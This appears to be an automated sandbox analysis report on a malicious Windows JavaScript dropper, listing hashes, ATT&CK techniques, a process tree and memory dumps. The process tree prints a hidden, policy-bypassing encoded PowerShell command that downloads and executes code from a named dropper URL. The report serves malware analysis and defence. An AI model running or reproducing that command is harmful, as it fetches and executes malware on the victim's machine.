3fab5f50508bbe6448732bf7109927433c9e03e7e1449b0de6a2ee667121babc

Analysis

max time kernel
149s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
07-01-2024 19:27

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General

Target

a16deef4be529d34707cc3f94f8b84bb.js
Size

84KB
MD5

a16deef4be529d34707cc3f94f8b84bb
SHA1

df584f8fd9c0616c0bcc29f30aed62f9bfa64e5e
SHA256

3fab5f50508bbe6448732bf7109927433c9e03e7e1449b0de6a2ee667121babc
SHA512

84e2283503b32fe226c3c9ec3f92360e31329a43b21e0b5cbbf90e829ae49b4e2f6c67b9ae2f94d1aac9635171c73a5e04601a09ccac0d4fdb4acb2b033a414f
SSDEEP

1536:59Ry98guHVBqqg2bcruayUHmLKeZaMU7GwbWBPwVGWl9SZ8kV8Gp/5bzIEN4t/oF:59Ry98guHVBqqg2bcruzUHmLKeMMU7Gv

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://smart-integrator.hr/pornhub.php

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
7	3712	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3791175113-1062217823-1177695025-1000\Control Panel\International\Geo\Nation	wscript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3712	powershell.exe
3712	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3712	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2576 wrote to memory of 2408	2576	wscript.exe	25
PID 2576 wrote to memory of 2408	2576	wscript.exe	25
PID 2408 wrote to memory of 3712	2408	cmd.exe	24
PID 2408 wrote to memory of 3712	2408	cmd.exe	24

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\a16deef4be529d34707cc3f94f8b84bb.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2576
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2408

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA
1⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3712

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hi4p1vsf.bf2.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3712-11-0x00007FF85D970000-0x00007FF85E431000-memory.dmp

Filesize
10.8MB

Download
memory/3712-13-0x00000162F5FE0000-0x00000162F5FF0000-memory.dmp

Filesize
64KB

Download
memory/3712-12-0x00000162F5FE0000-0x00000162F5FF0000-memory.dmp

Filesize
64KB

Download
memory/3712-10-0x00000162F5F90000-0x00000162F5FB2000-memory.dmp

Filesize
136KB

Download
memory/3712-15-0x00000162F5FE0000-0x00000162F5FF0000-memory.dmp

Filesize
64KB

Download
memory/3712-18-0x00007FF85D970000-0x00007FF85E431000-memory.dmp

Filesize
10.8MB

Download
memory/3712-14-0x00000162F5FE0000-0x00000162F5FF0000-memory.dmp

Filesize
64KB

Download